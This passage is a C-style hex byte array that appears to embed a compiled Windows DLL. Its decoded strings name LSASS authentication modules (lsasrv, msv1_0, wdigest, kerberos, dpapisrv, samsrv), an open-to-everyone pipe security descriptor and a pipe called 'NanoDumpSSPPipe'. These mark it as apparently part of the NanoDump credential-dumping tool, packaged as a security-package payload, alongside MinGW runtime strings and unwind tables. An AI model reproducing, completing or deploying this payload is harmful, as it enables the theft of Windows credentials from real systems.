x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5C,0x00,0x3F,0x00,0x3F,0x00,0x5C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x31,0x00,0x5F,0x00,0x30,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x73,0x00,0x70,0x00,0x6B,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x64,0x00,0x69,0x00,0x67,0x00,0x65,0x00,0x73,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x65,0x00,0x72,0x00,0x62,0x00,0x65,0x00,0x72,0x00,0x6F,0x00,0x73,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x64,0x00,0x70,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6B,0x00,0x64,0x00,0x63,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6C,0x00,0x73,0x00,0x61,0x00,0x64,0x00,0x62,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x73,0x00,0x61,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x72,0x00,0x73,0x00,0x61,0x00,0x65,0x00,0x6E,0x00,0x68,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x6E,0x00,0x63,0x00,0x72,0x00,0x79,0x00,0x70,0x00,0x74,0x00,0x70,0x00,0x72,0x00,0x6F,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x65,0x00,0x76,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x6C,0x00,0x6F,0x00,0x67,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x77,0x00,0x65,0x00,0x76,0x00,0x74,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6D,0x00,0x73,0x00,0x72,0x00,0x76,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x63,0x00,0x6C,0x00,0x6F,0x00,0x75,0x00,0x64,0x00,0x61,0x00,0x70,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6E,0x00,0x74,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x41,0x00,0x64,0x00,0x76,0x00,0x61,0x00,0x70,0x00,0x69,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x4B,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x65,0x00,0x6C,0x00,0x33,0x00,0x32,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0x00,0x3A,0x00,0x28,0x00,0x41,0x00,0x3B,0x00,0x4F,0x00,0x49,0x00,0x43,0x00,0x49,0x00,0x3B,0x00,0x47,0x00,0x41,0x00,0x3B,0x00,0x3B,0x00,0x3B,0x00,0x57,0x00,0x44,0x00,0x29,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00,0x2E,0x00,0x5C,0x00,0x70,0x00,0x69,0x00,0x70,0x00,0x65,0x00,0x5C,0x00,0x25,0x00,0x77,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4E,0x00,0x61,0x00,0x6E,0x00,0x6F,0x00,0x44,0x00,0x75,0x00,0x6D,0x00,0x70,0x00,0x53,0x00,0x53,0x00,0x50,0x00,0x50,0x00,0x69,0x00,0x70,0x00,0x65,0x00,0x00,0x00,0xE0,0x70,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x8B,0xD9,0x02,0x00,0x00,0x00,0x08,0x30,0x8B,0xD9,0x02,0x00,0x00,0x00,0xCC,0xF2,0x8A,0xD9,0x02,0x00,0x00,0x00,0x30,0x20,0x8B,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4D,0x69,0x6E,0x67,0x77,0x2D,0x77,0x36,0x34,0x20,0x72,0x75,0x6E,0x74,0x69,0x6D,0x65,0x20,0x66,0x61,0x69,0x6C,0x75,0x72,0x65,0x3A,0x0A,0x00,0x00,0x00,0x00,0x00,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x20,0x68,0x61,0x73,0x20,0x6E,0x6F,0x20,0x69,0x6D,0x61,0x67,0x65,0x2D,0x73,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x25,0x64,0x20,0x62,0x79,0x74,0x65,0x73,0x20,0x61,0x74,0x20,0x61,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x63,0x6F,0x64,0x65,0x20,0x30,0x78,0x25,0x78,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x70,0x72,0x6F,0x74,0x6F,0x63,0x6F,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x62,0x69,0x74,0x20,0x73,0x69,0x7A,0x65,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x25,0x64,0x20,0x62,0x69,0x74,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x61,0x74,0x20,0x25,0x70,0x20,0x6F,0x75,0x74,0x20,0x6F,0x66,0x20,0x72,0x61,0x6E,0x67,0x65,0x2C,0x20,0x74,0x61,0x72,0x67,0x65,0x74,0x69,0x6E,0x67,0x20,0x25,0x70,0x2C,0x20,0x79,0x69,0x65,0x6C,0x64,0x69,0x6E,0x67,0x20,0x74,0x68,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x20,0x25,0x70,0x2E,0x0A,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x90,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x80,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0xA8,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0xA8,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0xA2,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0xF2,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x24,0x90,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0xF2,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0xF2,0x8A,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x8B,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x20,0x8B,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x20,0x8B,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x20,0x8B,0xD9,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x0C,0x10,0x00,0x00,0x00,0xC0,0x00,0x00,0x10,0x10,0x00,0x00,0xDF,0x11,0x00,0x00,0x04,0xC0,0x00,0x00,0xE0,0x11,0x00,0x00,0x3C,0x13,0x00,0x00,0x1C,0xC0,0x00,0x00,0x40,0x13,0x00,0x00,0x52,0x13,0x00,0x00,0x30,0xC0,0x00,0x00,0x60,0x13,0x00,0x00,0x6F,0x13,0x00,0x00,0x34,0xC0,0x00,0x00,0x70,0x13,0x00,0x00,0x7C,0x13,0x00,0x00,0x38,0xC0,0x00,0x00,0x80,0x13,0x00,0x00,0x81,0x13,0x00,0x00,0x3C,0xC0,0x00,0x00,0x90,0x13,0x00,0x00,0xB2,0x13,0x00,0x00,0x40,0xC0,0x00,0x00,0xB2,0x13,0x00,0x00,0x2C,0x17,0x00,0x00,0x4C,0xC0,0x00,0x00,0x2C,0x17,0x00,0x00,0xC5,0x17,0x00,0x00,0x5C,0xC0,0x00,0x00,0xC5,0x17,0x00,0x00,0xCA,0x18,0x00,0x00,0x68,0xC0,0x00,0x00,0xCA,0x18,0x00,0x00,0x09,0x19,0x00,0x00,0x74,0xC0,0x00,0x00,0x09,0x19,0x00,0x00,0x71,0x1A,0x00,0x00,0x80,0xC0,0x00,0x00,0x71,0x1A,0x00,0x00,0x73,0x1B,0x00,0x00,0x8C,0xC0,0x00,0x00,0x73,0x1B,0x00,0x00,0x68,0x1C,0x00,0x00,0x98,0xC0,0x00,0x00,0x68,0x1C,0x00,0x00,0x17,0x1E,0x00,0x00,0xA8,0xC0,0x00,0x00,0x17,0x1E,0x00,0x00,0xB2,0x1F,0x00,0x00,0xB8,0xC0,0x00,0x00,0xB2,0x1F,0x00,0x00,0x19,0x20,0x00,0x00,0xC8,0xC0,0x00,0x00,0x19,0x20,0x00,0x00,0xE7,0x20,0x00,0x00,0xD4,0xC0,0x00,0x00,0xE7,0x20,0x00,0x00,0x45,0x21,0x00,0x00,0xE0,0xC0,0x00,0x00,0x45,0x21,0x00,0x00,0x54,0x21,0x00,0x00,0xEC,0xC0,0x00,0x00,0x54,0x21,0x00,0x00,0xBF,0x21,0x00,0x00,0xF4,0xC0,0x00,0x00,0xBF,0x21,0x00,0x00,0x30,0x23,0x00,0x00,0x00,0xC1,0x00,0x00,0x30,0x23,0x00,0x00,0x6E,0x23,0x00,0x00,0x0C,0xC1,0x00,0x00,0x6E,0x23,0x00,0x00,0x80,0x23,0x00,0x00,0x18,0xC1,0x00,0x00,0x80,0x23,0x00,0x00,0x8D,0x24,0x00,0x00,0x20,0xC1,0x00,0x00,0x8D,0x24,0x00,0x00,0xE7,0x24,0x00,0x00,0x2C,0xC1,0x00,0x00,0xE7,0x24,0x00,0x00,0x49,0x25,0x00,0x00,0x38,0xC1,0x00,0x00,0x50,0x25,0x00,0x00,0x78,0x25,0x00,0x00,0x44,0xC1,0x00,0x00,0x78,0x25,0x00,0x00,0x5F,0x26,0x00,0x00,0x50,0xC1,0x00,0x00,0x5F,0x26,0x00,0x00,0x56,0x27,0x00,0x00,0x5C,0xC1,0x00,0x00,0x56,0x27,0x00,0x00,0x09,0x28,0x00,0x00,0x68,0xC1,0x00,0x00,0x09,0x28,0x00,0x00,0x82,0x2A,0x00,0x00,0x74,0xC1,0x00,0x00,0x90,0x2A,0x00,0x00,0x99,0x2A,0x00,0x00,0x80,0xC1,0x00,0x00,0x99,0x2A,0x00,0x00,0xB1,0x2A,0x00,0x00,0x84,0xC1,0x00,0x00,0xB1,0x2A,0x00,0x00,0xEC,0x2B,0x00,0x00,0x90,0xC1,0x00,0x00,0xEC,0x2B,0x00,0x00,0x4A,0x2C,0x00,0x00,0x9C,0xC1,0x00,0x00,0x4A,0x2C,0x00,0x00,0x8E,0x30,0x00,0x00,0xA8,0xC1,0x00,0x00,0x8E,0x30,0x00,0x00,0xEA,0x30,0x00,0x00,0xB8,0xC1,0x00,0x00,0xEA,0x30,0x00,0x00,0x58,0x31,0x00,0x00,0xC4,0xC1,0x00,0x00,0x58,0x31,0x00,0x00,0x63,0x31,0x00,0x00,0xD0,0xC1,0x00,0x00,0x63,0x31,0x00,0x00,0x6B,0x31,0x00,0x00,0xD4,0xC1,0x00,0x00,0x6B,0x31,0x00,0x00,0xC5,0x31,0x00,0x00,0xD8,0xC1,0x00,0x00,0xC5,0x31,0x00,0x00,0x1F,0x32,0x00,0x00,0xDC,0xC1,0x00,0x00,0x1F,0x32,0x00,0x00,0x76,0x32,0x00,0x00,0xE0,0xC1,0x00,0x00,0x76,0x32,0x00,0x00,0xCD,0x32,0x00,0x00,0xE4,0xC1,0x00,0x00,0xCD,0x32,0x00,0x00,0x27,0x33,0x00,0x00,0xE8,0xC1,0x00,0x00,0x27,0x33,0x00,0x00,0x81,0x33,0x00,0x00,0xEC,0xC1,0x00,0x00,0x81,0x33,0x00,0x00,0xD8,0x33,0x00,0x00,0xF0,0xC1,0x00,0x00,0xD8,0x33,0x00,0x00,0x2F,0x34,0x00,0x00,0xF4,0xC1,0x00,0x00,0x2F,0x34,0x00,0x00,0x86,0x34,0x00,0x00,0xF8,0xC1,0x00,0x00,0x86,0x34,0x00,0x00,0xDD,0x34,0x00,0x00,0xFC,0xC1,0x00,0x00,0xDD,0x34,0x00,0x00,0x37,0x35,0x00,0x00,0x00,0xC2,0x00,0x00,0x37,0x35,0x00,0x00,0x8E,0x35,0x00,0x00,0x04,0xC2,0x00,0x00,0x8E,0x35,0x00,0x00,0xE5,0x35,0x00,0x00,0x08,0xC2,0x00,0x00,0xE5,0x35,0x00,0x00,0x3C,0x36,0x00,0x00,0x0C,0xC2,0x00,0x00,0x3C,0x36,0x00,0x00,0x96,0x36,0x00,0x00,0x10,0xC2,0x00,0x00,0x96,0x36,0x00,0x00,0xED,0x36,0x00,0x00,0x14,0xC2,0x00,0x00,0xED,0x36,0x00,0x00,0x44,0x37,0x00,0x00,0x18,0xC2,0x00,0x00,0x44,0x37,0x00,0x00,0x9B,0x37,0x00,0x00,0x1C,0xC2,0x00,0x00,0x9B,0x37,0x00,0x00,0xF2,0x37,0x00,0x00,0x20,0xC2,0x00,0x00,0xF2,0x37,0x00,0x00,0x49,0x38,0x00,0x00,0x24,0xC2,0x00,0x00,0x49,0x38,0x00,0x00,0xA0,0x38,0x00,0x00,0x28,0xC2,0x00,0x00,0xA0,0x38,0x00,0x00,0xF7,0x38,0x00,0x00,0x2C,0xC2,0x00,0x00,0xF7,0x38,0x00,0x00,0x4E,0x39,0x00,0x00,0x30,0xC2,0x00,0x00,0x4E,0x39,0x00,0x00,0xA8,0x39,0x00,0x00,0x34,0xC2,0x00,0x00,0xA8,0x39,0x00,0x00,0x02,0x3A,0x00,0x00,0x38,0xC2,0x00,0x00,0x02,0x3A,0x00,0x00,0x5C,0x3A,0x00,0x00,0x3C,0xC2,0x00,0x00,0x5C,0x3A,0x00,0x00,0xB6,0x3A,0x00,0x00,0x40,0xC2,0x00,0x00,0xB6,0x3A,0x00,0x00,0x10,0x3B,0x00,0x00,0x44,0xC2,0x00,0x00,0x10,0x3B,0x00,0x00,0x67,0x3B,0x00,0x00,0x48,0xC2,0x00,0x00,0x67,0x3B,0x00,0x00,0xBE,0x3B,0x00,0x00,0x4C,0xC2,0x00,0x00,0xBE,0x3B,0x00,0x00,0x15,0x3C,0x00,0x00,0x50,0xC2,0x00,0x00,0x15,0x3C,0x00,0x00,0x6F,0x3C,0x00,0x00,0x54,0xC2,0x00,0x00,0x6F,0x3C,0x00,0x00,0xC9,0x3C,0x00,0x00,0x58,0xC2,0x00,0x00,0xC9,0x3C,0x00,0x00,0x20